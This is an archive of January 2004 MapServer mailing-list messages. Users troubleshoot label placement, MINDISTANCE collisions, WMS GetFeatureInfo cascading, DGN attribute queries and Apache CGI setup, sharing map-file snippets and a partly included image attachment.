>>>  1/25/2004 5:07:01 PM >>>
So, I take it no one else has seen this problem.

I could NOT find anything in bugzilla.

And I have not been able to narrow down an example that is small 
enough to submit to bugzilla because removing data changes the 
labelling enough to cause the problem labels to shift around and 
removes the problem but it is easily reproduced on our servers .... 

-Steve

On 14 Jan 2004 at 16:20, woodbri at swoodbridge.com wrote:

> Hi all,
> 
> Labelling streets I get occasional labels the are placed upside down.

> Using ANGLE AUTO
> 
> This happens with two different builds using similar but slightly 
> different versions of libraries. Is this a know bug? I could find it

> in bugzilla.
> 
> Linux build
> MS 4.0
> later/latest copies of GD 2
> later/latest copies of freetype
> GDAL, proj, etc
> 
> 
> -Steve W.
> _______________________________________________
> Mapserver-dev mailing list
> Mapserver-dev at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-dev 
> 


_______________________________________________
Mapserver-dev mailing list
Mapserver-dev at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-dev


From bartvde at xs4all.nl  Mon Jan 26 10:16:03 2004
From: bartvde at xs4all.nl (Bart van den Eijnden)
Date: Mon, 26 Jan 2004 19:16:03 +0100
Subject: [Mapserver-users] WMS: cascading GetFeatureInfo
Message-ID: 

Hi list,

Mapserver does not cascade GetFeatureInfo requests and the reason for this 
is that the GetFeatureInfo response is not well-defined by the OGC.

This option is now limiting my application.

We have built a wrapper around ArcIMS which returns exactly the same 
msGMLOutput as Mapserver does. But with ArcIMS, every WMS server has a 
vendor-specific parameter called serviceName (e.g. cadastral, rivers, 
landuse etc.). Most of the time you have e.g. 10 services in ArcIMS, and 
all these are referenced by adding the serviceName vendor-specific 
parameter to the request.

For building a WMS which serves all the possible layers from my ArcIMS, I 
need to cascade them with Mapserver. But this way I can't get the 
GetFeatureInfo to work because Mapserver does not cascade GetFeatureInfo.

So basically I'm left with 2 options:
1) have all layers (from all services) in one WMS, but don't have 
GetFeatureInfo working
2) have GetFeatureInfo working but have 10 WMS servers.

I know cascading GetFeatureInfo would cause problems when using the 
layers=A,B,C syntax, but when just requesting one layer each time it would 
work by just sending the request to the remote WMS and sending back the 
response that this remote WMS sends. Ofcourse, you get into trouble when 
an application/user asks for layers=A,B and A and B are both of the WMS 
CONNECTIONTYPE and from a different brand of WMS.

Is there a way to just have Mapserver cascade GetFeatureInfo for the 
layers=A syntax and not for the layers=A,B,C syntax? Or even for the 
layers=A,B,C syntax when all layers are from the same WMS?

Any thoughts?

Best regards,
Bart


From steve.lime at dnr.state.mn.us  Mon Jan 26 10:20:25 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 26 Jan 2004 12:20:25 -0600
Subject: [Mapserver-users] Label mindistance not working for me
Message-ID: 

The criteria is text comparison of labels within the same layer and same
class. Presumably you could have a interstate 35 and a state highway 35
that should be allowed to be close.

Why are you setting LABELCACHE ON and POSTLABELCACHE TRUE?

Steve

>>> "Matthew Haines"  1/25/2004 8:15:31 PM
>>>
I'm having trouble with label mindistance.  I have set it, but my
labels 
still collide.  What exactly is the equality comparison used?  Is it a
text 
comparison of the label names?  My data file has a different line
segment 
for each block on the street.  If the map is zoomed to show eight
blocks, I 
get eight labels.  A few extra labels is okay, but not when they are
all on 
top of each other.

Adding or removing BUFFER, MINDISTANCE, and MINFEATURESIZE all don't
seem to 
change the output map, which has identical labels stacked to the point
of 
illegibility.

Matthew

LAYER
	NAME "bk_streets"
	CONNECTIONTYPE OGR
	CONNECTION "data/streets/lion03C/bklion.tab"
	MAXSCALE 6000
	STATUS DEFAULT
	FORCE TRUE
	TYPE LINE
	LABELITEM 'Street'
	LABELCACHE ON
	POSTLABELCACHE TRUE
	CLASS
		COLOR 255 255 255
		LABEL
			ANGLE AUTO
			COLOR 31 231 31
			BUFFER 100
			FORCE FALSE
			MINFEATURESIZE AUTO
			SIZE 12
			TYPE TRUETYPE
			FONT arial
			MINDISTANCE 50
		END
	END
END

_________________________________________________________________
Rethink your business approach for the new year with the helpful tips
here. 
http://special.msn.com/bcentral/prep04.armx 

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From warmerdam at pobox.com  Mon Jan 26 10:39:21 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Mon, 26 Jan 2004 13:39:21 -0500
Subject: [Mapserver-users] Another question about DGN attribute query
In-Reply-To: 
References: 
Message-ID: <40155ED9.80408@pobox.com>

Emil Zegers wrote:
> Hello list,
> 
> At the moment I'm struggling with querying DGN attribute data which is not working out.
> 
> I've found messages about this subject posted on the list before and they helped me to come where I am now: I can display the DGN with/without using the STYLEITEM "AUTO" and I can show the values from the Text field.
> 
> But I cannot query any of the fields in the DGN, no matter what field (Text, level, Layer) for a certain LAYER TYPE (ANNOTATION, POINT, LINE, POLYGON) I query.
> 
> This is the LAYER definition:
> 
> # GROENNAALDWIJK_dgn
> LAYER
>   METADATA
>     wms_title "GROENNAALDWIJK_dgn"
>   END
>   NAME "GROENNAALDWIJK_dgn"
>   TYPE POINT
>   DEBUG ON
>   CONNECTIONTYPE OGR
>   CONNECTION "D:/websites/DemoData/Naaldwijk/Data/Basis/dgn/GROENNAALDWIJK.DGN"
>   DATA "0"
>   STATUS ON
>   TOLERANCE 10
>   
>   STYLEITEM "AUTO"
> 
>   CLASSITEM "Text"
>   CLASS
>   END
> 
>   TEMPLATE "xmlqueries/dgn_xml.html"
> END
> 
> 
> This is the dgn_xml.html template defintion:
> 
> 
>     [Text]
> 
> 
> It all ends in the following message:
> 
>   msOGRLayerGetShape(): OGR error. Requested feature is incompatible with layer type
> 
> Now I'm looking for working examples of DGN attribute querying, has anyone been able to do so?
> 
> And if yes, are you willing to share your knowledge and/or example MAP and TEMPLATE files?

Emil,

The message you are getting from MapServer normally means you were using a
polygon with a point layer or something like that.  In particular, the
geometry type is NULL after attempted translation according to the layer type.

I would suggest you try and diagnose issues at the ogrinfo level.

For instance the following query should report on all features in your dgn file
that have some sort of text value.

ogrinfo -ro -al your.dgn -where 'Text is not null' | more

I would *guess* that some of your features appear odd to MapServer
because of the way they are being translated by OGR.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From Richard.Pierce at mail.state.ar.us  Mon Jan 26 11:31:33 2004
From: Richard.Pierce at mail.state.ar.us (Richie Pierce)
Date: Mon, 26 Jan 2004 13:31:33 -0600
Subject: [Mapserver-users] Labeling
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E443.01A65BD8
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hello all,

     A basic question.  I'm trying to label a polygon using the demo as
a guide.  I've set my map file similar.  When the labels are drawn they
are graining/pixilated and I can seem to figure out why.  Any help would
be great.  Thanks

=20

My layer:

=20

LAYER

  NAME Sections

  TYPE POLYGON

  DATA sections

  STATUS ON

  LABELITEM "section"

  CLASS

    NAME "Sections"

    OUTLINECOLOR 255 204 204

    COLOR 255 255 51

    LABEL

      FONT fritqat-italic

      TYPE truetype

      SIZE 1

      MAXSIZE 8

      COLOR 0 0 0

      POSITION auto

    END

  END=20

END

=20

Richie Pierce

GIS Cadastral Specialist

Arkansas Geographic Information Office

124 W. Capitol St.

Little Rock, AR 72201

(w) 501-682-2937

(c) 501-416-CAMP

www.gis.state.ar.us

=20


------_=_NextPart_001_01C3E443.01A65BD8
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

















Hello all,



     A basic question.  =
I’m
trying to label a polygon using the demo as a guide.  I’ve =
set my
map file similar.  When the labels are drawn they are =
graining/pixilated and
I can seem to figure out why.  Any help would be great.  =
Thanks



 



My layer:



 



LAYER



  NAME Sections



  TYPE POLYGON



  DATA sections



  STATUS ON



  LABELITEM =
"section"



  CLASS



    NAME =
"Sections"



    OUTLINECOLOR 255 204 =
204



    COLOR 255 255 51



    LABEL



      FONT =
fritqat-italic



      TYPE =
truetype



      SIZE =
1



      MAXSIZE =
8



      COLOR 0 0 =
0



      POSITION =
auto



    END



  END 



END



 



Richie Pierce



GIS Cadastral Specialist



Arkansas Geographic Information =
Office



124 W. Capitol =
St.



Little Rock, AR 72201



(w) 501-682-2937



(c) 501-416-CAMP



www.gis.state.ar.us


 








=00
------_=_NextPart_001_01C3E443.01A65BD8--


From warmerdam at pobox.com  Mon Jan 26 11:53:27 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Mon, 26 Jan 2004 14:53:27 -0500
Subject: [Mapserver-users] GDAL, TIFF, JPEG Question
In-Reply-To: <200401231803.12698.nacional@cbs.umn.edu>
References: <200401221449.16582.nacional@cbs.umn.edu> <401140C6.3060701@pobox.com> <40119E40.1080201@dmsolutions.ca> <200401231803.12698.nacional@cbs.umn.edu>
Message-ID: <40157037.6020204@pobox.com>

Folks,

I have made the change in CVS such that libjpeg and libtiff are only
used directly if GDAL support *is not* enabled as I suggested last week.
Hopefully this will cut down on headaches a bit for the next major release.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From TMitchell at lignum.com  Mon Jan 26 12:10:36 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Mon, 26 Jan 2004 12:10:36 -0800
Subject: [Mapserver-users] (newbie): Win32 Apache error when calling	Mapserv.exe
In-Reply-To: <1074845369.14923.13.camel@localhost>
Message-ID: 





I'm always cutting/pasting apache.conf directory code, do his cgi-bin
properties look good to go with executables?

mapserver-users-admin at lists.gis.umn.edu wrote on 01/23/2004 12:09:29 AM:

> Yuri,
>
> Check the last two lines of your apache config snippet...
>
> >     
> > 
>
> If this is how they appear in your config file, switch them.
>
>   
> 
>
> This could be the cause of your problem.
>
> > If not, something is wrong with your executable.  But then again it
could
> > just
> > be permission problems.  Or perhaps you've locked down your CGI-BIN
> > directory
> > so that only scripts with certain extensions would run?
>
> -Perry N.
>
> --
> "He's no geek.His tan's too good." -Benjamin Choate
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From TMitchell at lignum.com  Mon Jan 26 12:31:04 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Mon, 26 Jan 2004 12:31:04 -0800
Subject: [Mapserver-users] Labeling
In-Reply-To: 
Message-ID: 





Richie, I think I know what is happening.  Your html web page template is
stretching the map image.  You need to check your map size, as specified in
pixels in your map file.  Then check the image size that is set in your
html file.  I'm heading out for the next day and a half, but others on the
list should be able to help.  One tip, if you change image size in your
html, then you'll also need to modify a couple other lines in html that
correctly put the click/zoom location in the centre of the image.  Let me
know how you get on.

Tyler


                                                                           
             "Richie Pierce"                                               
                                                        To 
                                       "Tyler Mitchell"                    
             01/26/2004 12:24                        
             PM                                                         cc 
                                                                           
                                                                    Fax to 
                                                                           
                                                                   Subject 
                                       RE: [Mapserver-users] Labeling      
                                                                           
                                                                           
                                                                           
                                                                           
                                                                           
                                                                           




Wow...i didn't look at them in another imaging software.  They look good
there.  That's not what I'm seeing in my browser.   This is what they
look like in my browser.

Richie Pierce
GIS Cadastral Specialist
Arkansas Geographic Information Office
124 W. Capitol St.
Little Rock, AR 72201
(w) 501-682-2937
(c) 501-416-CAMP
www.gis.state.ar.us

-----Original Message-----
From: Tyler Mitchell [mailto:TMitchell at lignum.com]
Sent: Monday, January 26, 2004 2:18 PM
To: Richie Pierce
Subject: RE: [Mapserver-users] Labeling






Hmm....those labels looked like they rendered properly.  You aren't
happy
with them?




             "Richie Pierce"

             
To
                                       "Tyler Mitchell"

             01/26/2004 12:14          

             PM
cc


                                                                    Fax
to



Subject
                                       RE: [Mapserver-users] Labeling

















Sure thing.



Richie Pierce
GIS Cadastral Specialist
Arkansas Geographic Information Office
124 W. Capitol St.
Little Rock, AR 72201
(w) 501-682-2937
(c) 501-416-CAMP
www.gis.state.ar.us

-----Original Message-----
From: Tyler Mitchell [mailto:TMitchell at lignum.com]
Sent: Monday, January 26, 2004 2:12 PM
To: Richie Pierce
Subject: Re: [Mapserver-users] Labeling






Richie, can you send me a copy of the image you get?  I have a
theory....




             "Richie Pierce"

             
To
             Sent by:

             mapserver-users-a
cc
             dmin at lists.gis.um

             n.edu                                                  Fax
to



Subject
             01/26/2004 11:31          [Mapserver-users] Labeling

             AM















Hello all,
     A basic question.  I'm trying to label a polygon using the demo as
a
guide.  I've set my map file similar.  When the labels are drawn they
are
graining/pixilated and I can seem to figure out why.  Any help would be
great.  Thanks

My layer:

LAYER
  NAME Sections
  TYPE POLYGON
  DATA sections
  STATUS ON
  LABELITEM "section"
  CLASS
    NAME "Sections"
    OUTLINECOLOR 255 204 204
    COLOR 255 255 51
    LABEL
      FONT fritqat-italic
      TYPE truetype
      SIZE 1
      MAXSIZE 8
      COLOR 0 0 0
      POSITION auto
    END
  END
END

Richie Pierce
GIS Cadastral Specialist
Arkansas Geographic Information Office
124 W. Capitol St.
Little Rock, AR 72201
(w) 501-682-2937
(c) 501-416-CAMP
www.gis.state.ar.us
(See attaced file: DEMO10751480073988.gif)




From mhaines94108 at hotmail.com  Mon Jan 26 13:04:20 2004
From: mhaines94108 at hotmail.com (Matthew Haines)
Date: Mon, 26 Jan 2004 16:04:20 -0500
Subject: [Mapserver-users] Label mindistance not working for me
Message-ID: 

This is a multi-part message in MIME format.

------=_NextPart_000_5fef_789a_395d
Content-Type: text/plain; format=flowed

Steve,

Here's another example of labels colliding.  As you can see, neither 
MINDISTANCE nor BUFFER is having any effect.  I tried removing 
POSTLABELCACHE TRUE, but when I do that all the labels disappear.  I also 
tried adding a CLASSITEM "street" and then EXPRESSION /./, but that didn't 
have any effect, either.

Does anyone have any idea what could be causing MINDISTANCE and BUFFER to 
generate a map with so many label collisions like this?

Matthew

LAYER
	NAME "Lion Streets"
	CONNECTIONTYPE postgis
	CONNECTION "user=postgres dbname=nycpr"
	DATA "the_geom from bklion1"
	MAXSCALE 6000
	STATUS DEFAULT
	FORCE TRUE
	TYPE LINE
	LABELCACHE ON
	POSTLABELCACHE TRUE
	LABELITEM 'street'
	CLASS # everything
		COLOR 255 255 255
		LABEL
			ANGLE AUTO
			BUFFER 100
			FORCE FALSE
			COLOR 132 31 31
			SIZE 12
			TYPE TRUETYPE
			FONT arial
			MINDISTANCE 50
		END
	END
END



>From: "Steve Lime" 
>To: ,
>Subject: Re: [Mapserver-users] Label mindistance not working for me
>Date: Mon, 26 Jan 2004 12:20:25 -0600
>
>The criteria is text comparison of labels within the same layer and same
>class. Presumably you could have a interstate 35 and a state highway 35
>that should be allowed to be close.
>
>Why are you setting LABELCACHE ON and POSTLABELCACHE TRUE?
>
>Steve
>
> >>> "Matthew Haines"  1/25/2004 8:15:31 PM
> >>>
>I'm having trouble with label mindistance.  I have set it, but my
>labels
>still collide.  What exactly is the equality comparison used?  Is it a
>text
>comparison of the label names?  My data file has a different line
>segment
>for each block on the street.  If the map is zoomed to show eight
>blocks, I
>get eight labels.  A few extra labels is okay, but not when they are
>all on
>top of each other.
>
>Adding or removing BUFFER, MINDISTANCE, and MINFEATURESIZE all don't
>seem to
>change the output map, which has identical labels stacked to the point
>of
>illegibility.
>
>Matthew
>
>LAYER
>	NAME "bk_streets"
>	CONNECTIONTYPE OGR
>	CONNECTION "data/streets/lion03C/bklion.tab"
>	MAXSCALE 6000
>	STATUS DEFAULT
>	FORCE TRUE
>	TYPE LINE
>	LABELITEM 'Street'
>	LABELCACHE ON
>	POSTLABELCACHE TRUE
>	CLASS
>		COLOR 255 255 255
>		LABEL
>			ANGLE AUTO
>			COLOR 31 231 31
>			BUFFER 100
>			FORCE FALSE
>			MINFEATURESIZE AUTO
>			SIZE 12
>			TYPE TRUETYPE
>			FONT arial
>			MINDISTANCE 50
>		END
>	END
>END
>
>_________________________________________________________________
>Rethink your business approach for the new year with the helpful tips
>here.
>http://special.msn.com/bcentral/prep04.armx
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_________________________________________________________________
Check out the new MSN 9 Dial-up ? fast & reliable Internet access with prime 
features! http://join.msn.com/?pgmarket=en-us&page=dialup/home&ST=1

------=_NextPart_000_5fef_789a_395d
Content-Type: image/png; name="collide.png"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="collide.png"

iVBORw0KGgoAAAANSUhEUgAAAlgAAAJYCAMAAAH+v1h4AAACK1BMVEX///+p
ZGSLLi6ZR0evbm6WQECfUlJLERGYRESEIiJUExOKLS1TEhKoY2N7HByZSEiW
QUFEDw+NMjKPMzNwGRk3DAysaWmQNzePNTWvb29fFhZwGhqaSEiHJCSMLy9+
HR1iFxegVFSmX1+lXl5NERFWExOTPDxdFRVREhK2fHynYWGQNTXJn5+UPT2p
Y2ODHh58HR1zGhqiVlZ0GxtuGRlsGRmAHh6FJCR2Gxt6HByCHh54HByZRkaK
KipxGhqBHh5oGBi+iYmIKChFEBBQEhJ5HByubW23fX07DQ2iVVWKKyt/Hh5k
FxeIJiaUPj6GIyOROTmhVlbKn5/AjY2VPz9qGBjVtLR3Gxt/HR2nYGCFIyOd
Tk5vGhq9iYmnXl6GIiKta2uEISF7HR1nGBi1enqLLCyOMzOTOjqSOTmSOjqc
TExGEBBKERFeFhZ3HBx9HR1rGRmOMTGJKCiQNjaTPT2dTEyGJCSYQ0OOMjKH
JSWlXFyIJyeraGiFISGKLCyydHSEICCbSkqMLi6XQ0OhVVVYFBQ5DQ2GJSWN
MTG2enqXQkKbSUmvbW3GmZmsaGi5gYFaFRV1GxuNMDAtCgqVPj4eBgaxc3Og
U1OJKSmzdnaHJiaRNzeWQkKaSUmLLS3UsrKPNDSmXl7hysqeUFC9iIiFIiKq
ZWXJnZ0xCwtzGxsQAwNjFxdSExMhBwdCDw+iV1fv4+PQq6uyc3OTOzvgx8fB
j4+EHx8AAAD////68ppjAAAAAXRSTlMAQObYZgAAIABJREFUeJysvWuvbMd1
INYfMx8CDPIhAwQYIEgQzIeJkcB5IYoiJbaUcEjRgq2BEcWyYz40kWWKpKSY
AnlF6YYyZfqe6T7i4dU9fbvv6e7zvP2u96r6ebPWqv2ovXd196assnV5Tp/d
tVdVrVrvxyDggFCO+qc4/NZqABM0/Vx/LPhXWDQfHtA/w+rX2/IL3v84WJzb
COHDFj+QtvlFFTqD5zL17+8aK6UgOP7Ql/MKAgNcAq0KAOsQko+quSR9DQy+
efG68+tiudWadib9Bq5tJjf8o95153oBBjTs8Muv1X8BWX0b329HNLWHIGT4
De9XaOxgnEsE/2m15b7eFUjOwe/xt1mAsb5cpd9u7iHDVUOzTP6Ec/lVwGPE
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
